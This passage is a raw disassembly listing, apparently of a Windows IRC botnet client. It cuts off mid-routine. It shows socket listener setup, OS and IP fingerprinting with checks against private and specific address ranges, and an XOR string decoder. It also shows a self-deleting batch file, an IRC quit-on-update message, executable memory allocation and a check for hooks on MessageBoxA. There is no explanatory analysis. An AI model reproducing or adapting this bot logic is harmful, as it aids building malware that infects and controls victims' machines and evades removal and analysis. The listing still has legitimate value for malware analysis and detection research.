eax, eax pop ebp retn 10h sub_418AEB endp ; =============== S U B R O U T I N E ======================================= sub_418B1F proc near ; CODE XREF: sub_418C40+9Bp arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, 104h push edi ; size_t xor ebp, ebp push ebp ; int mov ebx, offset dword_4266A8 push ebx ; void * call _memset push edi ; size_t push ebp ; int mov esi, offset dword_4268B8 push esi ; void * call _memset push edi ; size_t push ebp ; int mov ebp, offset Str1 push ebp ; void * call _memset add esp, 24h push edi push ebx call ds:dword_41D0F4 ; GetSystemDirectoryA push edi mov ebx, offset byte_425061 call sub_4196D1 push esi push offset dword_4266A8 push offset aSS_9 ; "%s\\%s" push 103h ; Count push ebp ; Dest call __snprintf mov eax, ebp add esp, 18h lea ecx, [eax+1] loc_418B85: ; CODE XREF: sub_418B1F+6Bj mov dl, [eax] inc eax test dl, dl jnz short loc_418B85 push 0 push 1 sub eax, ecx push 2 mov Str1[eax], dl call ds:dword_41D27C ; socket cmp eax, 0FFFFFFFFh mov dword_4267AC, eax jnz short loc_418BB8 push eax loc_418BAB: ; CODE XREF: sub_418B1F+E7j call ds:dword_41D224 ; closesocket xor eax, eax jmp loc_418C3B ; --------------------------------------------------------------------------- loc_418BB8: ; CODE XREF: sub_418B1F+89j mov eax, 0FFDCh mov ebx, 3E8h call sub_4192C7 push eax mov dword_426594, eax mov word_426694, 2 call ds:dword_41D278 ; htons and dword_426698, 0 push 10h push offset word_426694 push dword_4267AC mov word_426696, ax call ds:dword_41D26C ; bind test eax, eax jz short loc_418C08 loc_418C00: ; CODE XREF: sub_418B1F+102j ; sub_418B1F+114j push dword_4267AC jmp short loc_418BAB ; --------------------------------------------------------------------------- loc_418C08: ; CODE XREF: sub_418B1F+DFj push 9 push 401h push [esp+18h+arg_0] push dword_4267AC call ds:dword_41D22C ; WSAAsyncSelect test eax, eax jnz short loc_418C00 push 4 push dword_4267AC call ds:dword_41D230 ; listen test eax, eax jnz short loc_418C00 inc eax mov byte_4268B4, al loc_418C3B: ; CODE XREF: sub_418B1F+94j pop edi pop esi pop ebp pop ebx retn sub_418B1F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418C40 proc near ; DATA XREF: sub_418D17+21o var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = byte ptr -20h push ebp mov ebp, esp sub esp, 50h mov eax, dword_4266A4 push ebx mov ebx, ds:dword_41D1F4 push esi push edi mov edi, 7F00h push edi xor esi, esi push esi mov [ebp+var_3C], eax mov [ebp+var_28], offset dword_4255BC mov [ebp+var_48], offset sub_418AEB mov [ebp+var_4C], 8 mov [ebp+var_50], 30h call ebx ; LoadIconA push edi push esi mov [ebp+var_38], eax call ebx ; LoadIconA push edi push esi mov [ebp+var_24], eax call ds:dword_41D20C ; LoadCursorA mov [ebp+var_34], eax lea eax, [ebp+var_50] push eax mov [ebp+var_2C], esi mov [ebp+var_44], esi mov [ebp+var_40], esi mov [ebp+var_30], 1 call ds:dword_41D1F0 ; RegisterClassExA test ax, ax jz short loc_418D0E push esi push dword_4266A4 mov eax, 80000000h push esi push esi push esi push esi push eax push eax push 0CF0000h push offset asc_420364 ; " " push offset dword_4255BC push esi call ds:dword_41D1FC ; CreateWindowExA push eax call sub_418B1F test eax, eax pop ecx jz short loc_418D0E mov edi, ds:dword_41D208 jmp short loc_418D01 ; --------------------------------------------------------------------------- loc_418CED: ; CODE XREF: sub_418C40+CCj lea eax, [ebp+var_20] push eax call ds:dword_41D1F8 ; TranslateMessage lea eax, [ebp+var_20] push eax call ds:dword_41D204 ; DispatchMessageA loc_418D01: ; CODE XREF: sub_418C40+ABj push esi push esi push esi lea eax, [ebp+var_20] push eax call edi ; GetMessageA test eax, eax jnz short loc_418CED loc_418D0E: ; CODE XREF: sub_418C40+70j ; sub_418C40+A3j pop edi pop esi xor eax, eax pop ebx leave retn 4 sub_418C40 endp ; =============== S U B R O U T I N E ======================================= sub_418D17 proc near ; CODE XREF: sub_401F1C+70p ; .text:0041BFC8p push 4 mov eax, offset __ehhandler$?empty@locale@std@@SA?AV12@XZ_0 call __EH_prolog3 push 8 ; Size call ??2@YAPAXI@Z ; operator new(uint) mov esi, eax pop ecx mov [ebp-10h], esi and dword ptr [ebp-4], 0 test esi, esi jz short loc_418D4B push offset sub_418C40 xor ecx, ecx mov edi, offset aHs ; "HS" call sub_4140AB jmp short loc_418D4D ; --------------------------------------------------------------------------- loc_418D4B: ; CODE XREF: sub_418D17+1Fj xor eax, eax loc_418D4D: ; CODE XREF: sub_418D17+32j cmp dword ptr [eax+4], 0 setnz al call __EH_epilog3 retn sub_418D17 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_418D5A proc near ; CODE XREF: sub_4192C7:loc_4192EBp mov eax, dword_4265B0 mov edx, dword_4265B4 lea ecx, ds:4265B8h[eax*4] push esi mov esi, eax mov eax, dword_4265B8[edx*4] add eax, [ecx] and eax, 3FFFFFFFh inc esi cmp esi, 37h mov [ecx], eax jnz short loc_418D87 xor esi, esi loc_418D87: ; CODE XREF: sub_418D5A+29j inc edx cmp edx, 37h jnz short loc_418D8F xor edx, edx loc_418D8F: ; CODE XREF: sub_418D5A+31j mov dword_4265B0, esi mov dword_4265B4, edx sar eax, 6 pop esi retn sub_418D5A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418DA0 proc near ; CODE XREF: sub_401CC0+125p ; sub_41748B:loc_41759Cp ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 14h push ebx lea eax, [ebp+var_10] push eax call ds:dword_41D058 ; QueryPerformanceCounter test eax, eax jz short loc_418E1C lea eax, [ebp+var_8] push eax call ds:dword_41D064 ; QueryPerformanceFrequency test eax, eax jz short loc_418E1C push [ebp+var_4] push [ebp+var_8] push [ebp+var_C] push [ebp+var_10] call __alldiv push 0 push 15180h push edx push eax call __alldvrm push 0 push 0E10h push ebx push ecx mov dword_426598, eax mov dword_42659C, edx call __alldvrm push 0 push 3Ch push ebx push ecx mov dword_4265A0, eax mov dword_4265A4, edx call __alldiv mov dword_4265A8, eax mov dword_4265AC, edx loc_418E1C: ; CODE XREF: sub_418DA0+13j ; sub_418DA0+21j pop ebx leave retn sub_418DA0 endp ; =============== S U B R O U T I N E ======================================= sub_418E1F proc near ; CODE XREF: sub_401CC0+EFp ; sub_41748B+BCp ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 push [esp+arg_0] ; size_t push 0 ; int push esi ; void * call _memset add esp, 0Ch cmp [esp+arg_4], 0 push [esp+arg_0] push esi jz short loc_418E41 push 1002h jmp short loc_418E43 ; --------------------------------------------------------------------------- loc_418E41: ; CODE XREF: sub_418E1F+19j push 7 loc_418E43: ; CODE XREF: sub_418E1F+20j push 800h call ds:dword_41D054 ; GetLocaleInfoA mov eax, esi retn sub_418E1F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=74h ; int __fastcall sub_418E51(unsigned int,char) sub_418E51 proc near ; CODE XREF: sub_401CC0+DAp ; sub_41748B+8Bp ... var_98 = dword ptr -98h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = byte ptr -84h var_4 = dword ptr -4 arg_0 = byte ptr 8 push ebp lea ebp, [esp-74h] sub esp, 98h mov eax, dword_423064 xor eax, ebp mov [ebp+74h+var_4], eax push ebx push edi lea eax, [ebp+74h+var_98] push eax mov ebx, ecx mov [ebp+74h+var_98], 94h call ds:dword_41D068 ; GetVersionExA push ebx ; size_t xor edi, edi push edi ; int push esi ; void * call _memset add esp, 0Ch cmp [ebp+74h+var_94], 6 jnz short loc_418E9A cmp [ebp+74h+var_90], edi jnz short loc_418F05 push offset aVis ; "VIS" jmp short loc_418F0A ; --------------------------------------------------------------------------- loc_418E9A: ; CODE XREF: sub_418E51+3Bj cmp [ebp+74h+var_94], 5 jnz short loc_418EC6 cmp [ebp+74h+var_90], 2 jnz short loc_418EAD push offset a2k3 ; "2K3" jmp short loc_418F0A ; --------------------------------------------------------------------------- loc_418EAD: ; CODE XREF: sub_418E51+53j cmp [ebp+74h+var_90], 1 jnz short loc_418EBA push offset aXp ; "XP" jmp short loc_418F0A ; --------------------------------------------------------------------------- loc_418EBA: ; CODE XREF: sub_418E51+60j cmp [ebp+74h+var_90], edi jnz short loc_418F05 push offset a2k ; "2K" jmp short loc_418F0A ; --------------------------------------------------------------------------- loc_418EC6: ; CODE XREF: sub_418E51+4Dj cmp [ebp+74h+var_94], 4 jnz short loc_418F05 cmp [ebp+74h+var_90], 5Ah jnz short loc_418ED9 push offset aMe ; "ME" jmp short loc_418F0A ; --------------------------------------------------------------------------- loc_418ED9: ; CODE XREF: sub_418E51+7Fj cmp [ebp+74h+var_90], 1 jnz short loc_418EE6 push offset a98 ; "98" jmp short loc_418F0A ; --------------------------------------------------------------------------- loc_418EE6: ; CODE XREF: sub_418E51+8Cj cmp [ebp+74h+var_90], edi jnz short loc_418F05 cmp [ebp+74h+var_88], 2 jnz short loc_418EF8 push offset aNt ; "NT" jmp short loc_418F0A ; --------------------------------------------------------------------------- loc_418EF8: ; CODE XREF: sub_418E51+9Ej cmp [ebp+74h+var_88], 1 jnz short loc_418F17 push offset a95 ; "95" jmp short loc_418F0A ; --------------------------------------------------------------------------- loc_418F05: ; CODE XREF: sub_418E51+40j ; sub_418E51+6Cj ... push offset aUnk ; "UNK" loc_418F0A: ; CODE XREF: sub_418E51+47j ; sub_418E51+5Aj ... lea eax, [ebx-1] push eax ; Count push esi ; Dest call __snprintf add esp, 0Ch loc_418F17: ; CODE XREF: sub_418E51+ABj mov eax, esi lea edx, [eax+1] loc_418F1C: ; CODE XREF: sub_418E51+D0j mov cl, [eax] inc eax test cl, cl jnz short loc_418F1C sub eax, edx cmp [ebp+74h+arg_0], cl mov [eax+esi], cl jz loc_418FB3 push ebx ; unsigned int call j_??2@YAPAXI@Z ; operator new(uint) mov edi, eax push edi ; void * call __msize push eax ; size_t push 0 ; int push edi ; void * call _memset add esp, 14h push [ebp+74h+var_8C] lea eax, [ebp+74h+var_84] push [ebp+74h+var_90] push [ebp+74h+var_94] push eax push esi push offset aOsMicrosoftWin ; "[OS: Microsoft Windows %s %s (%i.%i bui"... push edi ; void * call __msize pop ecx dec eax push eax ; Count push edi ; Dest call __snprintf mov eax, edi add esp, 20h lea ecx, [eax+1] loc_418F75: ; CODE XREF: sub_418E51+129j mov dl, [eax] inc eax test dl, dl jnz short loc_418F75 push ebx ; size_t sub eax, ecx push 0 ; int push esi ; void * mov [eax+edi], dl call _memset push edi push offset aS_13 ; "%s" dec ebx push ebx ; Count push esi ; Dest call __snprintf mov eax, esi add esp, 1Ch lea ecx, [eax+1] loc_418FA0: ; CODE XREF: sub_418E51+154j mov dl, [eax] inc eax test dl, dl jnz short loc_418FA0 sub eax, ecx push edi ; Memory mov [eax+esi], dl call j_j__free pop ecx loc_418FB3: ; CODE XREF: sub_418E51+DAj mov ecx, [ebp+74h+var_4] pop edi xor ecx, ebp mov eax, esi pop ebx call sub_402710 add ebp, 74h leave retn sub_418E51 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418FC6 proc near ; CODE XREF: sub_401C1D+50p ; sub_401CC0+FEp ... var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_11 = byte ptr -11h var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20h mov eax, dword_423064 xor eax, ebp mov [ebp+var_8], eax push edi xor eax, eax lea edi, [ebp+var_18] stosd stosd stosd stosd xor eax, eax mov edi, esi stosd stosd stosd stosd lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_18] push eax push [ebp+arg_0] mov [ebp+var_1C], 10h call ds:dword_41D238 ; getsockname movzx eax, [ebp+var_11] push eax movzx eax, [ebp+var_12] push eax movzx eax, [ebp+var_13] push eax movzx eax, [ebp+var_14] push eax push offset aD_D_D_D_0 ; "%d.%d.%d.%d" push 0Fh ; Count push esi ; Dest call __snprintf mov eax, esi add esp, 1Ch lea ecx, [eax+1] loc_419029: ; CODE XREF: sub_418FC6+68j mov dl, [eax] inc eax test dl, dl jnz short loc_419029 sub eax, ecx mov ecx, [ebp+var_8] mov [eax+esi], dl xor ecx, ebp mov eax, esi pop edi call sub_402710 leave retn sub_418FC6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419044 proc near ; CODE XREF: sub_401F1C+10Cp ; sub_417676+A5p ... var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push esi mov esi, ecx mov cl, [eax] test cl, cl push edi jz short loc_4190AD loc_419052: ; CODE XREF: sub_419044+24j mov dl, [esi] cmp dl, 2Ah jz short loc_41906A cmp dl, cl jz short loc_419062 cmp dl, 3Fh jnz short loc_419088 loc_419062: ; CODE XREF: sub_419044+17j inc esi inc eax mov cl, [eax] test cl, cl jnz short loc_419052 loc_41906A: ; CODE XREF: sub_419044+13j mov cl, [eax] test cl, cl jz short loc_4190AD mov edi, [ebp+var_4] loc_419073: ; CODE XREF: sub_419044+5Fj mov dl, [esi] cmp dl, 2Ah jnz short loc_41908C inc esi cmp byte ptr [esi], 0 jz short loc_4190A7 mov [ebp+var_4], esi lea edi, [eax+1] jmp short loc_41909F ; --------------------------------------------------------------------------- loc_419088: ; CODE XREF: sub_419044+1Cj xor eax, eax jmp short loc_4190B9 ; --------------------------------------------------------------------------- loc_41908C: ; CODE XREF: sub_419044+34j cmp dl, cl jz short loc_41909D cmp dl, 3Fh jz short loc_41909D mov esi, [ebp+var_4] mov eax, edi inc edi jmp short loc_41909F ; --------------------------------------------------------------------------- loc_41909D: ; CODE XREF: sub_419044+4Aj ; sub_419044+4Fj inc esi inc eax loc_41909F: ; CODE XREF: sub_419044+42j ; sub_419044+57j mov cl, [eax] test cl, cl jnz short loc_419073 jmp short loc_4190AD ; --------------------------------------------------------------------------- loc_4190A7: ; CODE XREF: sub_419044+3Aj xor eax, eax inc eax jmp short loc_4190B9 ; --------------------------------------------------------------------------- loc_4190AC: ; CODE XREF: sub_419044+6Cj inc esi loc_4190AD: ; CODE XREF: sub_419044+Cj ; sub_419044+2Aj ... cmp byte ptr [esi], 2Ah jz short loc_4190AC xor eax, eax cmp [esi], al setz al loc_4190B9: ; CODE XREF: sub_419044+46j ; sub_419044+66j pop edi pop esi leave retn sub_419044 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4190BD proc near ; CODE XREF: sub_419477+14Ap Dest = byte ptr -23Ch var_23B = byte ptr -23Bh var_13C = byte ptr -13Ch var_13B = byte ptr -13Bh Filename = byte ptr -3Ch var_3B = byte ptr -3Bh var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 23Ch mov eax, dword_423064 xor eax, ebp mov [ebp+var_4], eax push ebx push esi xor ebx, ebx push 37h ; size_t lea eax, [ebp+var_3B] push ebx ; int push eax ; void * mov [ebp+Filename], bl call _memset mov esi, 0FFh push esi ; size_t lea eax, [ebp+var_23B] push ebx ; int push eax ; void * mov [ebp+Dest], bl call _memset push esi ; size_t lea eax, [ebp+var_13B] push ebx ; int push eax ; void * mov [ebp+var_13C], bl call _memset add esp, 24h push 100h lea eax, [ebp+var_13C] push eax push ebx call ds:dword_41D0E4 ; GetModuleHandleA push eax call ds:dword_41D060 ; GetModuleFileNameA lea eax, [ebp+var_13C] push eax push eax lea eax, [ebp+Dest] push offset a@echoOff1DelSI ; "@echo off\r\n:1\r\ndel \"%s\"\r\nif exist \"%s\" "... push eax ; Dest call _sprintf push 104h ; unsigned int call j_??2@YAPAXI@Z ; operator new(uint) mov esi, eax push esi ; void * call __msize add esp, 18h dec eax push eax push esi call ds:dword_41D0F4 ; GetSystemDirectoryA call _rand push 18h cdq pop ecx idiv ecx add edx, 61h push edx call _rand push 18h cdq pop ecx idiv ecx add edx, 61h push edx call _rand push 18h cdq pop ecx idiv ecx add edx, 61h push edx call _rand push 0Ah cdq pop ecx idiv ecx push edx call _rand push 0Ah cdq pop ecx idiv ecx push edx call _rand push 0Ah pop ecx cdq idiv ecx lea eax, [ebp+Filename] push edx push esi push offset aSTmpIIICCC_bat ; "%s\\tmp-%i%i%i-%c%c%c.bat" push eax ; Dest call _sprintf push esi ; Memory call j_j__free lea eax, [ebp+Filename] push offset Mode ; "w" push eax ; Filename call _fopen mov esi, eax add esp, 30h cmp esi, ebx jz short loc_41920B lea eax, [ebp+Dest] push eax push offset aS_14 ; "%s" push esi ; File call _fprintf push esi ; File call _fclose add esp, 10h push ebx push ebx push ebx lea eax, [ebp+Filename] push eax push ebx push ebx call ds:dword_41D1E4 loc_41920B: ; CODE XREF: sub_4190BD+122j mov ecx, [ebp+var_4] pop esi xor ecx, ebp pop ebx call sub_402710 leave retn sub_4190BD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_419219(char *Format,char Args) sub_419219 proc near ; CODE XREF: sub_41B925+199p ; .text:0041BDC4p var_16C = dword ptr -16Ch var_168 = byte ptr -168h var_124 = dword ptr -124h var_120 = byte ptr -120h Dest = byte ptr -114h var_113 = byte ptr -113h var_8 = dword ptr -8 Format = dword ptr 8 Args = byte ptr 0Ch push ebp mov ebp, esp sub esp, 170h mov eax, dword_423064 xor eax, ebp mov [ebp+var_8], eax push ebx push esi push edi xor ebx, ebx push 40h ; size_t lea eax, [ebp+var_168] push ebx ; int push eax ; void * mov [ebp+var_16C], ebx call _memset xor eax, eax mov [ebp+var_124], ebx lea edi, [ebp+var_120] stosd stosd mov esi, 103h push esi ; size_t stosd lea eax, [ebp+var_113] push ebx ; int push eax ; void * mov [ebp+Dest], bl call _memset lea eax, [ebp+Args] push eax ; Args push [ebp+Format] ; Format lea eax, [ebp+Dest] push esi ; Count push eax ; Dest call __vsnprintf add esp, 28h lea eax, [ebp+var_124] push eax lea eax, [ebp+var_16C] push eax push ebx push ebx push 28h push ebx push ebx push ebx lea eax, [ebp+Dest] push eax push ebx call ds:dword_41D05C ; CreateProcessA mov ecx, [ebp+var_8] test eax, eax pop edi setnz al pop esi xor ecx, ebp pop ebx call sub_402710 leave retn sub_419219 endp ; --------------------------------------------------------------------------- push 0 call __time64 pop ecx retn ; =============== S U B R O U T I N E ======================================= sub_4192C7 proc near ; CODE XREF: sub_413A2D+81p ; sub_413A2D+94p ... push esi mov esi, eax xor eax, eax inc eax sub eax, ebx add esi, eax cmp esi, 1 jg short loc_4192DA mov eax, ebx pop esi retn ; --------------------------------------------------------------------------- loc_4192DA: ; CODE XREF: sub_4192C7+Dj push 2 pop eax cmp esi, eax jle short loc_4192E7 loc_4192E1: ; CODE XREF: sub_4192C7+1Ej add eax, eax cmp eax, esi jl short loc_4192E1 loc_4192E7: ; CODE XREF: sub_4192C7+18j push edi lea edi, [eax-1] loc_4192EB: ; CODE XREF: sub_4192C7+2Dj call sub_418D5A and eax, edi cmp eax, esi jge short loc_4192EB pop edi add eax, ebx pop esi retn sub_4192C7 endp ; =============== S U B R O U T I N E ======================================= sub_4192FB proc near ; CODE XREF: sub_401F1C+420p ; sub_413A2D:loc_413F5Dp ... and dword_4265B0, 0 push 0 ; Time mov dword_4265B4, 1Fh call __time64 mov edx, 3FFFFFFFh and eax, edx pop ecx mov dword_4265B8, eax mov dword_4265BC, 1 mov eax, offset dword_4265B8 push esi loc_419330: ; CODE XREF: sub_4192FB+48j lea ecx, [eax+4] mov esi, [ecx] add esi, [eax] and esi, edx mov [eax+8], esi mov eax, ecx cmp eax, offset dword_42668C jl short loc_419330 pop esi retn sub_4192FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419347 proc near ; CODE XREF: sub_41748B+E6p ; sub_41A5C1+B6p ... Dest = byte ptr -24h var_14 = byte ptr -14h var_13 = byte ptr -13h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 24h mov eax, dword_423064 xor eax, ebp mov [ebp+var_4], eax push esi push edi push dword_4269BC mov [ebp+var_14], 0 xor eax, eax lea edi, [ebp+var_13] stosd stosd stosd stosw lea esi, [ebp+var_14] stosb call sub_418FC6 pop ecx mov eax, esi mov ecx, offset a192_168__ ; "192.168.*.*" call sub_419044 test eax, eax jnz loc_419467 mov eax, esi mov ecx, offset a10___ ; "10.*.*.*" call sub_419044 test eax, eax jnz loc_419467 mov eax, esi mov ecx, offset a111___ ; "111.*.*.*" call sub_419044 test eax, eax jnz loc_419467 mov eax, esi mov ecx, offset a15___ ; "15.*.*.*" call sub_419044 test eax, eax jnz loc_419467 mov eax, esi mov ecx, offset a16___ ; "16.*.*.*" call sub_419044 test eax, eax jnz loc_419467 mov eax, esi mov ecx, offset a101___ ; "101.*.*.*" call sub_419044 test eax, eax jnz short loc_419467 mov eax, esi mov ecx, offset a110___ ; "110.*.*.*" call sub_419044 test eax, eax jnz short loc_419467 mov eax, esi mov ecx, offset a112___ ; "112.*.*.*" call sub_419044 test eax, eax jnz short loc_419467 mov eax, esi mov ecx, offset a170_65__ ; "170.65.*.*" call sub_419044 test eax, eax jnz short loc_419467 push 10h pop esi loc_41941E: ; CODE XREF: sub_419347+11Aj xor eax, eax lea edi, [ebp+Dest] stosd stosd stosd push esi push offset a172_D__ ; "172.%d.*.*" stosd lea eax, [ebp+Dest] push 0Fh ; Count push eax ; Dest call __snprintf lea eax, [ebp+Dest] add esp, 10h lea edx, [eax+1] loc_419441: ; CODE XREF: sub_419347+FFj mov cl, [eax] inc eax test cl, cl jnz short loc_419441 sub eax, edx mov [ebp+eax+Dest], cl lea eax, [ebp+var_14] lea ecx, [ebp+Dest] call sub_419044 test eax, eax jnz short loc_419467 inc esi cmp esi, 1Fh jbe short loc_41941E xor al, al jmp short loc_419469 ; --------------------------------------------------------------------------- loc_419467: ; CODE XREF: sub_419347+3Ej ; sub_419347+52j ... mov al, 1 loc_419469: ; CODE XREF: sub_419347+11Ej mov ecx, [ebp+var_4] pop edi xor ecx, ebp pop esi call sub_402710 leave retn sub_419347 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419477 proc near ; CODE XREF: sub_41B925+1C5p ; .text:0041C066p var_2A8 = byte ptr -2A8h var_2A0 = dword ptr -2A0h var_29C = dword ptr -29Ch Args = byte ptr -298h var_294 = dword ptr -294h var_290 = dword ptr -290h var_28C = byte ptr -28Ch var_28B = byte ptr -28Bh var_1CC = byte ptr -1CCh var_1CB = byte ptr -1CBh var_CC = byte ptr -0CCh var_CB = byte ptr -0CBh var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 2A8h mov eax, dword_423064 xor eax, ebp mov [ebp+var_8], eax mov eax, [ebp+arg_0] push ebx push esi push edi mov esi, 0BFh xor ebx, ebx push esi ; size_t mov dword ptr [ebp+Args], eax lea eax, [ebp+var_CB] push ebx ; int push eax ; void * mov [ebp+var_CC], bl call _memset add esp, 0Ch push esi ; size_t lea eax, [ebp+var_28B] push ebx ; int push eax ; void * mov [ebp+var_28C], bl call _memset add esp, 0Ch push ebx lea edi, [ebp+var_CC] call sub_41B7F9 pop ecx inc esi push esi ; size_t mov eax, edi push ebx ; int push eax ; void * call _memset add esp, 0Ch push esi ; size_t lea eax, [ebp+var_28C] push ebx ; int push eax ; void * call _memset add esp, 0Ch push 0FFh ; size_t lea eax, [ebp+var_1CB] push ebx ; int push eax ; void * mov [ebp+var_1CC], bl call _memset mov eax, dword_433C4C mov eax, [eax] mov [ebp+var_290], eax mov eax, offset dword_433C48 add esp, 0Ch mov [ebp+var_294], eax mov [ebp+var_2A0], eax loc_419530: ; CODE XREF: sub_419477+102j mov eax, dword_433C4C lea edi, [ebp+var_2A0] lea esi, [ebp+var_294] mov [ebp+var_29C], eax call sub_40166F test al, al jz short loc_419587 mov edi, offset aRegistryMonito ; "Registry Monitor" call sub_40164F mov esi, eax add esi, 5 push 11h pop ecx xor eax, eax repe cmpsb lea esi, [ebp+var_294] jz short loc_41957B lea edi, [ebp+var_2A8] call sub_40168C jmp short loc_419530 ; --------------------------------------------------------------------------- loc_41957B: ; CODE XREF: sub_419477+F5j call sub_40164F mov eax, [eax] call sub_414023 loc_419587: ; CODE XREF: sub_419477+D7j mov edi, 100h push edi lea esi, [ebp+var_1CC] mov ebx, offset byte_425119 call sub_4196D1 pop ecx mov eax, esi push eax push offset aSoftwareMicr_3 ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... push 80000002h call sub_416F32 add esp, 0Ch push edi ; size_t mov eax, esi push 0 ; int push eax ; void * call _memset add esp, 0Ch call sub_4190BD push dword ptr [ebp+Args] ; Args mov edi, offset dword_4269BC push offset aQuitSYouKilled ; "QUIT :%s YOU KILLED ME :< --UPDATED\r\n" call sub_4172CC pop ecx pop ecx push 0 call ds:dword_41D050 ; ExitProcess int 3 ; Trap to Debugger jmp ds:dword_41D090 sub_419477 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4195EC proc near ; CODE XREF: .text:loc_41BC29p var_18 = byte ptr -18h var_13 = byte ptr -13h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h mov eax, dword_423064 xor eax, ebp mov [ebp+var_4], eax push ebx push esi push edi call ds:dword_41D0CC ; GetCurrentProcess mov esi, offset dword_420700 lea edi, [ebp+var_10] movsd movsd push 40h push 3000h movsb push 6 mov ebx, eax xor edi, edi push edi lea eax, [ebp+var_18] push ebx mov [ebp+var_10+3], eax call ds:dword_41D0C0 ; VirtualAllocEx mov esi, eax cmp esi, edi jnz short loc_419635 loc_419631: ; CODE XREF: sub_4195EC+58j xor al, al jmp short loc_419668 ; --------------------------------------------------------------------------- loc_419635: ; CODE XREF: sub_4195EC+43j push edi push 40h push 6 push esi push ebx call ds:dword_41D0C4 ; VirtualProtectEx test eax, eax jnz short loc_419631 mov eax, [ebp+var_10] mov [esi], eax mov eax, [ebp+var_C] mov [esi+4], eax call esi ; send push 8000h push edi push esi push ebx call ds:dword_41D0C8 ; VirtualFreeEx cmp [ebp+var_13], 0D0h setnbe al loc_419668: ; CODE XREF: sub_4195EC+47j mov ecx, [ebp+var_4] pop edi pop esi xor ecx, ebp pop ebx call sub_402710 leave retn sub_4195EC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419677 proc near ; CODE XREF: .text:0041BC07p var_C = byte ptr -0Ch var_B = byte ptr -0Bh var_A = byte ptr -0Ah var_9 = byte ptr -9 var_8 = byte ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 0Ch mov eax, dword_423064 xor eax, ebp mov [ebp+var_4], eax push esi push edi push offset aMessageboxa_0 ; "MessageBoxA" push offset aUser32_dll_0 ; "user32.dll" mov [ebp+var_C], 55h mov [ebp+var_B], 8Bh mov [ebp+var_A], 0ECh mov [ebp+var_9], 81h mov [ebp+var_8], 0ECh call ds:dword_41D0E8 ; LoadLibraryA push eax call ds:dword_41D0EC ; GetProcAddress push 5 mov esi, eax pop ecx xor eax, eax lea edi, [ebp+var_C] repe cmpsb mov ecx, [ebp+var_4] setz al pop edi xor ecx, ebp pop esi call sub_402710 leave retn sub_419677 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4196D1 proc near ; CODE XREF: sub_40177B+81p ; sub_4019F3+81p ... Count = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push edi push [ebp+arg_0] ; size_t xor edi, edi push edi ; int push esi ; void * call _memset mov eax, ebx add esp, 0Ch lea ecx, [eax+1] loc_4196EA: ; CODE XREF: sub_4196D1+1Ej mov dl, [eax] inc eax test dl, dl jnz short loc_4196EA sub eax, ecx jz short loc_41975B mov eax, [ebp+arg_0] dec eax mov [ebp+Count], eax loc_4196FC: ; CODE XREF: sub_4196D1+88j mov eax, offset aHjdxzopvuvmrjf ; "hJdXZOPvUVmRJfVS" lea edx, [eax+1] loc_419704: ; CODE XREF: sub_4196D1+38j mov cl, [eax] inc eax test cl, cl jnz short loc_419704 sub eax, edx jz short loc_419711 xor eax, eax loc_419711: ; CODE XREF: sub_4196D1+3Cj movsx ecx, byte ptr [edi+ebx] movsx eax, byte ptr aHjdxzopvuvmrjf[eax] ; "hJdXZOPvUVmRJfVS" xor ecx, eax xor ecx, 0FDh push ecx push esi push offset aSC_0 ; "%s%c" push [ebp+Count] ; Count push esi ; Dest call __snprintf mov eax, esi add esp, 14h lea ecx, [eax+1] loc_41973C: ; CODE XREF: sub_4196D1+70j mov dl, [eax] inc eax test dl, dl jnz short loc_41973C sub eax, ecx mov [eax+esi], dl mov eax, ebx inc edi lea ecx, [eax+1] loc_41974E: ; CODE XREF: sub_4196D1+82j mov dl, [eax] inc eax test dl, dl jnz short loc_41974E sub eax, ecx cmp edi, eax jb short loc_4196FC loc_41975B: ; CODE XREF: sub_4196D1+22j mov eax, esi pop edi leave retn sub_4196D1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419760 proc near ; CODE XREF: sub_419C1D+28p var_3C = byte ptr -3Ch var_38 = dword ptr -38h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h push 2Ch push offset dword_4219D0 call __SEH_prolog4 mov edi, ds:dword_41D108 call edi ; GetTickCount mov 